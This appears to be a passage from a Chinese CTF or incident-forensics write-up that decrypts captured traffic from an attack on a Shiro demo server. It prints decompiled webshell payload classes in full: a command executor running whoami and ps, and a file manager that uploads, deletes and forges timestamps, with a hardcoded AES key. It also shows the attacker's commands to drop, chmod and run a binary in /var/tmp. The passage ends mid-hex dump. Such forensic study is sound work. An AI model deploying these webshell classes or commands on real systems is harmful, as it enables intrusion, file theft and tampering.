/* loaded from: payload-favicondemo(4).ico.class */
public class Zsiywhq {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = &quot;success&quot;;
    private Object Request;
    private Object Response;
    private Object Session;
	...
    public Zsiywhq() {
        cmd = &quot;&quot;;
        cmd += &quot;cd / ;whoami&quot;;
        path = &quot;&quot;;
        path += &quot;/&quot;;
    }
	...
    private String RunCMD(String cmd2) throws Exception {
        Process p;
        Charset osCharset = Charset.forName(System.getProperty(&quot;sun.jnu.encoding&quot;));
        String result = &quot;&quot;;
        if (cmd2 != null &amp;amp;&amp;amp; cmd2.length() &amp;gt; 0) {
            if (System.getProperty(&quot;os.name&quot;).toLowerCase().indexOf(&quot;windows&quot;) &amp;gt;= 0) {
                p = Runtime.getRuntime().exec(new String[]{&quot;cmd.exe&quot;, &quot;/c&quot;, cmd2});
            } else {
                p = Runtime.getRuntime().exec(new String[]{&quot;/bin/sh&quot;, &quot;-c&quot;, cmd2});
            }
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));
            String line = br.readLine();
            while (true) {
                String disr = line;
                if (disr == null) {
                    break;
                }
                result = result + disr + &quot;\n&quot;;
                line = br.readLine();
            }
            BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));
            String line2 = br2.readLine();
            while (true) {
                String disr2 = line2;
                if (disr2 == null) {
                    break;
                }
                result = result + disr2 + &quot;\n&quot;;
                line2 = br2.readLine();
            }
        }
        return result;
    }
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找下来发现总共执行了这些：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd / ;whoami
root

cd / ;w
 05:58:16 up 9 days,  2:05,  0 users,  load average: 0.35, 0.63, 0.29
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

cd / ;ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  1 03:43 ?        00:01:36 java -jar /shirodemo-1.0-SNAPSHOT.jar
root          95       1  0 05:58 ?        00:00:00 /bin/sh -c cd / ;ps -ef
root          96      95  0 05:58 ?        00:00:00 ps -ef
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没什么用。接着发现接下来内容有了新的模式：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码部分 - 点击展开&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;内容很长，不想看可以折叠&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package sun.suh.tgvtrk;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.charset.Charset;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.security.MessageDigest;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.Set;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(10).ico.class */
public class Mcuygmskgn {
    public static String mode;
    public static String path;
    public static String newPath;
    public static String content;
    public static String charset;
    public static String hash;
    public static String blockIndex;
    public static String blockSize;
    public static String createTimeStamp;
    public static String modifyTimeStamp;
    public static String accessTimeStamp;
    private Object Request;
    private Object Response;
    private Object Session;
    private Charset osCharset;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(&quot;1f2c8075acd3d118&quot;.getBytes(&quot;utf-8&quot;), &quot;AES&quot;);
        Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class&amp;lt;?&amp;gt; cls = Class.forName(&quot;java.util.Base64&quot;);
            Object objInvoke = cls.getMethod(&quot;getEncoder&quot;, null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objNewInstance, bArrDoFinal)).replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;).getBytes();
        }
        return bArrDoFinal;
    }

    public Mcuygmskgn() {
        mode = &quot;&quot;;
        mode += &quot;list&quot;;
        path = &quot;&quot;;
        path += &quot;/&quot;;
        this.osCharset = Charset.forName(System.getProperty(&quot;sun.jnu.encoding&quot;));
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map&amp;lt;String, String&amp;gt; result = new HashMap();
        try {
            try {
                fillContext(obj);
                if (mode.equalsIgnoreCase(&quot;list&quot;)) {
                    result.put(&quot;msg&quot;, list());
                    result.put(&quot;status&quot;, &quot;success&quot;);
                } else if (mode.equalsIgnoreCase(&quot;show&quot;)) {
                    result.put(&quot;msg&quot;, show());
                    result.put(&quot;status&quot;, &quot;success&quot;);
                } else if (mode.equalsIgnoreCase(&quot;checkExist&quot;)) {
                    result.put(&quot;msg&quot;, checkExist(path));
                    result.put(&quot;status&quot;, &quot;success&quot;);
                } else if (mode.equalsIgnoreCase(&quot;delete&quot;)) {
                    result = delete();
                } else if (mode.equalsIgnoreCase(&quot;create&quot;)) {
                    result.put(&quot;msg&quot;, create());
                    result.put(&quot;status&quot;, &quot;success&quot;);
                } else if (mode.equalsIgnoreCase(&quot;append&quot;)) {
                    result.put(&quot;msg&quot;, append());
                    result.put(&quot;status&quot;, &quot;success&quot;);
                } else if (mode.equalsIgnoreCase(&quot;update&quot;)) {
                    updateFile();
                    result.put(&quot;msg&quot;, &quot;ok&quot;);
                    result.put(&quot;status&quot;, &quot;success&quot;);
                } else if (mode.equalsIgnoreCase(&quot;downloadPart&quot;)) {
                    result.put(&quot;msg&quot;, downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize)));
                    result.put(&quot;status&quot;, &quot;success&quot;);
                } else {
                    if (mode.equalsIgnoreCase(&quot;download&quot;)) {
                        download();
                        try {
                            Object so = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                            Method write = so.getClass().getMethod(&quot;write&quot;, byte[].class);
                            write.invoke(so, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                            so.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so, new Object[0]);
                            so.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so, new Object[0]);
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                        return true;
                    }
                    if (mode.equalsIgnoreCase(&quot;rename&quot;)) {
                        result = renameFile();
                    } else if (mode.equalsIgnoreCase(&quot;createFile&quot;)) {
                        result.put(&quot;msg&quot;, createFile());
                        result.put(&quot;status&quot;, &quot;success&quot;);
                    } else if (mode.equalsIgnoreCase(&quot;compress&quot;)) {
                        zipFile(path, true);
                        result.put(&quot;msg&quot;, &quot;ok&quot;);
                        result.put(&quot;status&quot;, &quot;success&quot;);
                    } else if (mode.equalsIgnoreCase(&quot;createDirectory&quot;)) {
                        result.put(&quot;msg&quot;, createDirectory());
                        result.put(&quot;status&quot;, &quot;success&quot;);
                    } else if (mode.equalsIgnoreCase(&quot;getTimeStamp&quot;)) {
                        result.put(&quot;msg&quot;, getTimeStamp());
                        result.put(&quot;status&quot;, &quot;success&quot;);
                    } else if (mode.equalsIgnoreCase(&quot;updateTimeStamp&quot;)) {
                        result.put(&quot;msg&quot;, updateTimeStamp());
                        result.put(&quot;status&quot;, &quot;success&quot;);
                    } else if (mode.equalsIgnoreCase(&quot;check&quot;)) {
                        result.put(&quot;msg&quot;, checkFileHash(path));
                        result.put(&quot;status&quot;, &quot;success&quot;);
                    }
                }
                try {
                    Object so2 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                    Method write2 = so2.getClass().getMethod(&quot;write&quot;, byte[].class);
                    write2.invoke(so2, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                    so2.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so2, new Object[0]);
                    so2.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so2, new Object[0]);
                    return true;
                } catch (Exception e2) {
                    e2.printStackTrace();
                    return true;
                }
            } catch (Throwable e3) {
                e3.printStackTrace();
                result.put(&quot;msg&quot;, e3.getMessage());
                result.put(&quot;status&quot;, &quot;fail&quot;);
                try {
                    Object so3 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                    Method write3 = so3.getClass().getMethod(&quot;write&quot;, byte[].class);
                    write3.invoke(so3, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                    so3.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so3, new Object[0]);
                    so3.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so3, new Object[0]);
                    return true;
                } catch (Exception e4) {
                    e4.printStackTrace();
                    return true;
                }
            }
        } catch (Throwable th) {
            try {
                Object so4 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write4 = so4.getClass().getMethod(&quot;write&quot;, byte[].class);
                write4.invoke(so4, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so4.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so4, new Object[0]);
                so4.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so4, new Object[0]);
            } catch (Exception e5) {
                e5.printStackTrace();
            }
            throw th;
        }
    }

    private String checkFileHash(String path2) throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch != null &amp;amp;&amp;amp; ch.isOpen()) {
            ch.close();
        }
        byte[] input = getFileData(path2);
        if (input == null || input.length == 0) {
            return null;
        }
        MessageDigest md5 = MessageDigest.getInstance(&quot;MD5&quot;);
        md5.update(input);
        byte[] byteArray = md5.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b : byteArray) {
            sb.append(String.format(&quot;%02x&quot;, Byte.valueOf(b)));
        }
        return sb.substring(0, 16);
    }

    private void updateFile() throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path);
        if (ch == null) {
            FileOutputStream fos = new FileOutputStream(path);
            ch = fos.getChannel();
            sessionSetAttribute(this.Session, &quot;fos&quot;, fos);
            sessionSetAttribute(this.Session, path, ch);
        }
        synchronized (ch) {
            ch.position(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize));
            ch.write(ByteBuffer.wrap(base64decode(content)));
        }
    }

    private Map&amp;lt;String, String&amp;gt; warpFileObj(File file) {
        Map&amp;lt;String, String&amp;gt; obj = new HashMap&amp;lt;&amp;gt;();
        obj.put(&quot;type&quot;, file.isDirectory() ? &quot;directory&quot; : &quot;file&quot;);
        obj.put(&quot;name&quot;, file.getName());
        obj.put(&quot;size&quot;, file.length() + &quot;&quot;);
        obj.put(&quot;perm&quot;, getFilePerm(file));
        obj.put(&quot;lastModified&quot;, new SimpleDateFormat(&quot;yyyy/MM/dd HH:mm:ss&quot;).format(new Date(file.lastModified())));
        return obj;
    }

    private boolean isOldJava() {
        String version = System.getProperty(&quot;java.version&quot;);
        if (version.compareTo(&quot;1.7&quot;) &amp;gt;= 0) {
            return false;
        }
        return true;
    }

    private String checkExist(String path2) throws Exception {
        File file = new File(path2);
        if (file.exists()) {
            return file.length() + &quot;&quot;;
        }
        throw new Exception(&quot;&quot;);
    }

    private String getFilePerm(File file) throws IllegalAccessException, ClassNotFoundException, IllegalArgumentException, InvocationTargetException {
        String permStr = &quot;&quot;;
        if (isWindows()) {
            try {
                permStr = (file.canRead() ? &quot;R&quot; : &quot;-&quot;) + &quot;/&quot; + (file.canWrite() ? &quot;W&quot; : &quot;-&quot;) + &quot;/&quot; + (file.canExecute() ? &quot;E&quot; : &quot;-&quot;);
            } catch (Error e) {
                permStr = (file.canRead() ? &quot;R&quot; : &quot;-&quot;) + &quot;/&quot; + (file.canWrite() ? &quot;W&quot; : &quot;-&quot;) + &quot;/-&quot;;
            }
        } else {
            String version = System.getProperty(&quot;java.version&quot;);
            if (version.compareTo(&quot;1.7&quot;) &amp;gt;= 0) {
                try {
                    getClass();
                    Class FilesCls = Class.forName(&quot;java.nio.file.Files&quot;);
                    getClass();
                    Class PosixFileAttributesCls = Class.forName(&quot;java.nio.file.attribute.PosixFileAttributes&quot;);
                    getClass();
                    Class PathsCls = Class.forName(&quot;java.nio.file.Paths&quot;);
                    getClass();
                    Class PosixFilePermissionsCls = Class.forName(&quot;java.nio.file.attribute.PosixFilePermissions&quot;);
                    Object f = PathsCls.getMethod(&quot;get&quot;, String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]);
                    Object attrs = FilesCls.getMethod(&quot;readAttributes&quot;, Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]);
                    Object result = PosixFilePermissionsCls.getMethod(&quot;toString&quot;, Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod(&quot;permissions&quot;, new Class[0]).invoke(attrs, new Object[0]));
                    permStr = result.toString();
                } catch (Exception e2) {
                }
            } else {
                permStr = (file.canRead() ? &quot;R&quot; : &quot;-&quot;) + &quot;/&quot; + (file.canWrite() ? &quot;W&quot; : &quot;-&quot;) + &quot;/&quot; + (file.canExecute() ? &quot;E&quot; : &quot;-&quot;);
            }
        }
        return permStr;
    }

    private String list() throws Exception {
        File f = new File(path);
        List&amp;lt;Map&amp;lt;String, String&amp;gt;&amp;gt; objArr = new ArrayList&amp;lt;&amp;gt;();
        objArr.add(warpFileObj(new File(&quot;.&quot;)));
        objArr.add(warpFileObj(new File(&quot;..&quot;)));
        if (f.isDirectory() &amp;amp;&amp;amp; f.listFiles() != null) {
            for (File temp : f.listFiles()) {
                objArr.add(warpFileObj(temp));
            }
        }
        String result = buildJsonArray(objArr, true);
        return result;
    }

    private String show() throws Exception {
        byte[] fileContent = getFileData(path);
        return base64encode(fileContent);
    }

    private byte[] getFileData(String path2) throws IOException {
        ByteArrayOutputStream output = new ByteArrayOutputStream();
        FileInputStream fis = new FileInputStream(new File(path2));
        while (true) {
            int data = fis.read();
            if (data != -1) {
                output.write(data);
            } else {
                fis.close();
                return output.toByteArray();
            }
        }
    }

    private String create() throws Exception {
        FileOutputStream fso = new FileOutputStream(path);
        fso.write(base64decode(content));
        fso.flush();
        fso.close();
        String result = path + &quot;上传完成，远程文件大小:&quot; + new File(path).length();
        return result;
    }

    private Map&amp;lt;String, String&amp;gt; renameFile() throws Exception {
        Map&amp;lt;String, String&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
        File oldFile = new File(path);
        File newFile = new File(newPath);
        if (oldFile.exists() &amp;amp;&amp;amp; (oldFile.isFile() &amp;amp; oldFile.renameTo(newFile))) {
            result.put(&quot;status&quot;, &quot;success&quot;);
            result.put(&quot;msg&quot;, &quot;重命名完成:&quot; + newPath);
        } else {
            result.put(&quot;status&quot;, &quot;fail&quot;);
            result.put(&quot;msg&quot;, &quot;重命名失败:&quot; + newPath);
        }
        return result;
    }

    private String createFile() throws Exception {
        FileOutputStream fso = new FileOutputStream(path);
        fso.close();
        String result = path + &quot;创建完成&quot;;
        return result;
    }

    private String createDirectory() throws Exception {
        File dir = new File(path);
        dir.mkdirs();
        String result = path + &quot;创建完成&quot;;
        return result;
    }

    private void download() throws Exception {
        FileInputStream fis = new FileInputStream(path);
        Object so = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
        Method write = so.getClass().getMethod(&quot;write&quot;, byte[].class);
        while (true) {
            int data = fis.read();
            if (data != -1) {
                write.invoke(so, Integer.valueOf(data));
            } else {
                so.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so, new Object[0]);
                so.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so, new Object[0]);
                fis.close();
                return;
            }
        }
    }

    private String append() throws Exception {
        FileOutputStream fso = new FileOutputStream(path, true);
        fso.write(base64decode(content));
        fso.flush();
        fso.close();
        String result = path + &quot;追加完成，远程文件大小:&quot; + new File(path).length();
        return result;
    }

    private Map&amp;lt;String, String&amp;gt; delete() throws Exception {
        Map&amp;lt;String, String&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
        File f = new File(path);
        if (f.exists()) {
            if (f.delete()) {
                result.put(&quot;status&quot;, &quot;success&quot;);
                result.put(&quot;msg&quot;, path + &quot; 删除成功.&quot;);
            } else {
                result.put(&quot;status&quot;, &quot;fail&quot;);
                result.put(&quot;msg&quot;, &quot;文件&quot; + path + &quot;存在，但是删除失败.&quot;);
            }
        } else {
            result.put(&quot;status&quot;, &quot;fail&quot;);
            result.put(&quot;msg&quot;, &quot;文件不存在.&quot;);
        }
        return result;
    }

    private String getTimeStamp() throws Exception {
        DateFormat df = new SimpleDateFormat(&quot;yyyy/MM/dd HH:mm:ss&quot;);
        File f = new File(path);
        Map&amp;lt;String, String&amp;gt; timeStampObj = new HashMap&amp;lt;&amp;gt;();
        if (f.exists()) {
            getClass();
            Class FilesCls = Class.forName(&quot;java.nio.file.Files&quot;);
            getClass();
            Class BasicFileAttributesCls = Class.forName(&quot;java.nio.file.attribute.BasicFileAttributes&quot;);
            getClass();
            Class PathsCls = Class.forName(&quot;java.nio.file.Paths&quot;);
            Object file = PathsCls.getMethod(&quot;get&quot;, String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]);
            Object attrs = FilesCls.getMethod(&quot;readAttributes&quot;, Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]);
            Class FileTimeCls = Class.forName(&quot;java.nio.file.attribute.FileTime&quot;);
            Object createTime = FileTimeCls.getMethod(&quot;toMillis&quot;, new Class[0]).invoke(BasicFileAttributesCls.getMethod(&quot;creationTime&quot;, new Class[0]).invoke(attrs, new Object[0]), new Object[0]);
            Object lastAccessTime = FileTimeCls.getMethod(&quot;toMillis&quot;, new Class[0]).invoke(BasicFileAttributesCls.getMethod(&quot;lastAccessTime&quot;, new Class[0]).invoke(attrs, new Object[0]), new Object[0]);
            Object lastModifiedTime = FileTimeCls.getMethod(&quot;toMillis&quot;, new Class[0]).invoke(BasicFileAttributesCls.getMethod(&quot;lastModifiedTime&quot;, new Class[0]).invoke(attrs, new Object[0]), new Object[0]);
            String createTimeStamp2 = df.format(new Date(((Long) createTime).longValue()));
            String lastAccessTimeStamp = df.format(new Date(((Long) lastAccessTime).longValue()));
            String lastModifiedTimeStamp = df.format(new Date(((Long) lastModifiedTime).longValue()));
            timeStampObj.put(&quot;createTime&quot;, createTimeStamp2);
            timeStampObj.put(&quot;lastAccessTime&quot;, lastAccessTimeStamp);
            timeStampObj.put(&quot;lastModifiedTime&quot;, lastModifiedTimeStamp);
            String result = buildJson(timeStampObj, true);
            return result;
        }
        throw new Exception(&quot;文件不存在&quot;);
    }

    private boolean isWindows() {
        if (System.getProperty(&quot;os.name&quot;).toLowerCase().indexOf(&quot;windows&quot;) &amp;gt;= 0) {
            return true;
        }
        return false;
    }

    private String updateTimeStamp() throws Exception {
        DateFormat df = new SimpleDateFormat(&quot;yyyy/MM/dd HH:mm:ss&quot;);
        File f = new File(path);
        if (f.exists()) {
            f.setLastModified(df.parse(modifyTimeStamp).getTime());
            if (!isOldJava()) {
                Class PathsCls = Class.forName(&quot;java.nio.file.Paths&quot;);
                Class BasicFileAttributeViewCls = Class.forName(&quot;java.nio.file.attribute.BasicFileAttributeView&quot;);
                Class FileTimeCls = Class.forName(&quot;java.nio.file.attribute.FileTime&quot;);
                Method getFileAttributeView = Class.forName(&quot;java.nio.file.Files&quot;).getMethod(&quot;getFileAttributeView&quot;, Path.class, Class.class, LinkOption[].class);
                Object attributes = getFileAttributeView.invoke(Class.forName(&quot;java.nio.file.Files&quot;), PathsCls.getMethod(&quot;get&quot;, String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]);
                Object createTime = FileTimeCls.getMethod(&quot;fromMillis&quot;, Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(createTimeStamp).getTime()));
                Object accessTime = FileTimeCls.getMethod(&quot;fromMillis&quot;, Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(accessTimeStamp).getTime()));
                Object modifyTime = FileTimeCls.getMethod(&quot;fromMillis&quot;, Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(modifyTimeStamp).getTime()));
                BasicFileAttributeViewCls.getMethod(&quot;setTimes&quot;, FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime);
            }
            return &quot;时间戳修改成功。&quot;;
        }
        throw new Exception(&quot;文件不存在&quot;);
    }

    private String downloadPart(String path2, long blockIndex2, long blockSize2) throws Exception {
        int size;
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch == null) {
            FileInputStream fis = new FileInputStream(path2);
            ch = fis.getChannel();
            sessionSetAttribute(this.Session, &quot;fis&quot;, fis);
            sessionSetAttribute(this.Session, path2, ch);
        }
        ByteBuffer buffer = ByteBuffer.allocate((int) blockSize2);
        synchronized (ch) {
            ch.position(blockIndex2 * blockSize2);
            size = ch.read(buffer);
        }
        byte[] content2 = new byte[size];
        System.arraycopy(buffer.array(), 0, content2, 0, size);
        return base64encode(content2);
    }

    private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception {
        File file = new File(srcDir);
        String fileName = file.getName();
        FileOutputStream out = new FileOutputStream(new File(srcDir).getParentFile().getAbsolutePath() + File.separator + fileName + &quot;.zip&quot;);
        System.currentTimeMillis();
        ZipOutputStream zos = null;
        try {
            try {
                zos = new ZipOutputStream(out);
                File sourceFile = new File(srcDir);
                compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure);
                System.currentTimeMillis();
                if (zos != null) {
                    try {
                        zos.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            } catch (Exception e2) {
                throw new RuntimeException(&quot;zip error from ZipUtils&quot;, e2);
            }
        } catch (Throwable th) {
            if (zos != null) {
                try {
                    zos.close();
                } catch (IOException e3) {
                    e3.printStackTrace();
                }
            }
            throw th;
        }
    }

    private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception {
        byte[] buf = new byte[102400];
        if (sourceFile.isFile()) {
            zos.putNextEntry(new ZipEntry(name));
            FileInputStream in = new FileInputStream(sourceFile);
            while (true) {
                int len = in.read(buf);
                if (len != -1) {
                    zos.write(buf, 0, len);
                } else {
                    zos.closeEntry();
                    in.close();
                    return;
                }
            }
        } else {
            File[] listFiles = sourceFile.listFiles();
            if (listFiles == null || listFiles.length == 0) {
                if (KeepDirStructure) {
                    zos.putNextEntry(new ZipEntry(name + &quot;/&quot;));
                    zos.closeEntry();
                    return;
                }
                return;
            }
            for (File file : listFiles) {
                if (KeepDirStructure) {
                    compress(file, zos, name + &quot;/&quot; + file.getName(), KeepDirStructure);
                } else {
                    compress(file, zos, file.getName(), KeepDirStructure);
                }
            }
        }
    }
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现是获取了&lt;code&gt;/&lt;/code&gt;的文件列表，返回值也印证了这一点。后续的几个包分别获取了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/
/var/
/var/tmp/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;的列表。
再之后发现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package sun.yxiw;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(18).ico.class */
public class Auydc {
	...
    public Auydc() {
        mode = &quot;&quot;;
        mode += &quot;update&quot;;
        path = &quot;&quot;;
        path += &quot;/var/tmp/out&quot;;
        blockIndex = &quot;&quot;;
        blockIndex += &quot;2&quot;;
        blockSize = &quot;&quot;;
        blockSize += &quot;30720&quot;;
        content = &quot;&quot;;
        content += &quot;h61Bx+...X2zlQkI5M&quot;;
        this.osCharset = Charset.forName(System.getProperty(&quot;sun.jnu.encoding&quot;));
    }
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用了写入文件的功能，往&lt;code&gt;/var/tmp/out&lt;/code&gt;追加写入了&lt;code&gt;content&lt;/code&gt;经过Base64解密的内容。再往后找发现有大量的类似追加请求。尝试通过Wireshark的Export Objects导出所有&lt;code&gt;/favicondemo.ico&lt;/code&gt;，发现有737个文件，编写一个Python脚本从中批量解密并提取保存成java class文件或者txt返回信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import re
import base64
from Crypto.Cipher import AES

KEY = b&quot;1f2c8075acd3d118&quot;
DIR = &quot;export&quot;

def decrypt_to_class(data):
    try:
        cipher = AES.new(KEY, AES.MODE_ECB)
        dec = cipher.decrypt(base64.b64decode(data))
        return dec[:-dec[-1]]
    except Exception:
        return b&quot;&quot;

chunks = []

def get_sort_key(fname):
    match = re.search(r&apos;\((\d+)\)&apos;, fname)
    return int(match.group(1)) if match else 0

files = sorted(os.listdir(DIR), key=get_sort_key)

for fname in files:
    path = os.path.join(DIR, fname)
    with open(path, &quot;rb&quot;) as f:
        body = f.read().strip()
    
    data = decrypt_to_class(body)
    
    if data.startswith(b&quot;\xca\xfe\xba\xbe&quot;):
        with open(f&quot;payload-{fname}.class&quot;, &quot;wb&quot;) as file:
            file.write(data)
            print(f&quot;Dump {fname} as java class file&quot;)
    else:
        with open(f&quot;payload-{fname}.txt&quot;, &quot;wb&quot;) as file:
            file.write(data)
            print(f&quot;Dump {fname} as txt file&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一路看过去，发现中间都是在上传，最后检查了一遍Hash：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package sun.pquyv;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(722).ico.class */
public class Yfnc {
	...
    public Yfnc() {
        mode = &quot;&quot;;
        mode += &quot;check&quot;;
        path = &quot;&quot;;
        path += &quot;/var/tmp/out&quot;;
        hash = &quot;&quot;;
        hash += &quot;a0275c1593af1adb&quot;;
        this.osCharset = Charset.forName(System.getProperty(&quot;sun.jnu.encoding&quot;));
    }

    private String checkFileHash(String path2) throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch != null &amp;amp;&amp;amp; ch.isOpen()) {
            ch.close();
        }
        byte[] input = getFileData(path2);
        if (input == null || input.length == 0) {
            return null;
        }
        MessageDigest md5 = MessageDigest.getInstance(&quot;MD5&quot;);
        md5.update(input);
        byte[] byteArray = md5.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b : byteArray) {
            sb.append(String.format(&quot;%02x&quot;, Byte.valueOf(b)));
        }
        return sb.substring(0, 16);
    }
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且给予执行权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package net.zlzbr.fsio.vbycsd;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(734).ico.class */
public class Xxzrrw {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = &quot;success&quot;;
    private Object Request;
    private Object Response;
    private Object Session;
    ...
    public Xxzrrw() {
        cmd = &quot;&quot;;
        cmd += &quot;cd /var/tmp/ ;chmod +x out&quot;;
        path = &quot;&quot;;
        path += &quot;/var/tmp/&quot;;
    }
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package org.zhnnj;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(736).ico.class */
public class Imrdoaaxs {
	...
    public Imrdoaaxs() {
        cmd = &quot;&quot;;
        cmd += &quot;cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=&quot;;
        path = &quot;&quot;;
        path += &quot;/var/tmp/&quot;;
    }
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到了一个aes-key：&lt;code&gt;IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=&lt;/code&gt;，之后就没有任何HTTP通信了。&lt;/p&gt;
&lt;h1&gt;第三层: 手写Shell&lt;/h1&gt;
&lt;p&gt;上面的HTTP流之后有一个TCP流通信，Dump出来发现：
&lt;img src=&quot;./images/2026/03/3229052496.png&quot; alt=&quot;Pasted image 20260314133909.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
